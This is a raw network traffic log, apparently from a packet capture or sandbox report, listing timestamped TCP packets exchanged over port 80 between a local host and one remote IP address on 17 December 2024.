Dec 17, 2024 08:03:40.719238043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.719299078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.719346046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.720273972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.720375061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.720428944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.721357107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.721410036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.721468925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.722404003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.722460032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.722522020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.722578049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.723573923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.723635912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.723675966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.723720074 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.724596024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.724698067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.724750042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.725696087 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.725814104 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.725882053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.725999117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.726743937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.726808071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.726872921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.726926088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.727827072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.727907896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.727955103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.728008032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.728913069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.729042053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.729067087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.729091883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.729984045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.730073929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.730139971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.730190039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.731060028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.731158018 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.731184006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.731228113 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.732161999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.732214928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.732217073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.732268095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.733234882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.733288050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.733351946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.733400106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.734308958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.734359026 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.734435081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.734483957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.735380888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.735435009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.735498905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.735548019 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.736501932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.736557961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.736613035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.736876011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.737560987 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.737611055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.737673998 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.737720013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.738646984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.738753080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.738817930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.739749908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.739803076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.739854097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.739900112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.740812063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.740869999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.740920067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.740963936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.741940022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.741992950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.742083073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.742131948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.742995977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.743067980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.743115902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.743402004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.744069099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.744158030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.744190931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.744265079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.745196104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.745254993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.745318890 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.745368004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.746298075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.746396065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.746440887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.746490955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.747359991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.747479916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.747493982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.747540951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.748400927 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.748456955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.748588085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.749481916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.749533892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.749571085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.749619007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.750598907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.750693083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.750725985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.750799894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.751698971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.751754999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.751825094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.751894951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.752744913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.752805948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.752866030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.752921104 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.753825903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.753880024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.753947020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.753994942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.754950047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.755007029 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.755060911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.755157948 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.755975962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.756040096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.756103039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.756149054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.757081032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.757139921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.757178068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.757221937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.758212090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.758274078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.758277893 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.758328915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.759226084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.759279013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.759411097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.759455919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.760327101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.760457039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.760473967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.760636091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.761467934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.761503935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.761522055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.761550903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.762495995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.762617111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.762650967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.762696981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.763586044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.763638020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.763701916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.763746977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.764651060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.764785051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.764811993 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.764825106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.765752077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.765801907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.765882015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.765928030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.766815901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.766913891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.766932964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.766976118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.767811060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.767857075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.903096914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.903141975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.903204918 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.903561115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.903615952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.903763056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.903834105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.903883934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.904830933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.904958010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.905010939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.905930996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.905985117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.906083107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.906133890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.907073021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.907174110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.907224894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.908093929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.908150911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.908206940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.908255100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.909168959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.909224033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.909254074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.909303904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.910250902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.910299063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.910362959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.911101103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.911341906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.911393881 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.911458015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.911505938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.912439108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.912492990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.912542105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.913290977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.913491011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.913541079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.913604021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.914366007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.914582968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.914630890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.914709091 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.915432930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.915663958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.915716887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.915792942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.916486979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.916755915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.916814089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.916873932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.916924000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.917828083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.917872906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.917934895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.917979956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.918880939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.918937922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.918998957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.919049978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.920007944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.920062065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.920125008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.920216084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.921080112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.921135902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.921196938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.921246052 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.922141075 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.922353983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.922431946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.922456980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.923245907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.923297882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.923363924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.923420906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.924298048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.924357891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.924434900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.924487114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.925406933 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.925477982 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.925529957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.925580025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.926496983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.926639080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.926692963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.927592993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.927664995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.927683115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.927736044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.928663015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.928719997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.928780079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.928831100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.929749966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.929800987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.929878950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.929929972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.930823088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.930876017 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.930938959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.930989981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.931929111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.931981087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.932054996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.932105064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.932971954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.933067083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.933068991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.933109045 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.934125900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.934176922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.934204102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.934252024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.935148954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.935240030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.935281992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.935327053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.936222076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.936280012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.936341047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.936389923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.937306881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.937360048 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.937437057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.937485933 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.938431025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.938493967 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.938533068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.938586950 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.939481020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.939553022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.939584017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.939639091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.940563917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.940629005 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.940673113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.940725088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.941651106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.941705942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.941768885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.941821098 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.942724943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.942776918 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.942882061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.942933083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.943820000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.943872929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.943922997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.943973064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.944881916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.944933891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.945008039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.945060015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.945985079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.946036100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.946099043 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.946147919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.947073936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.947122097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.947185040 CET	80	49900	31.41.244.11	192.168.2.5
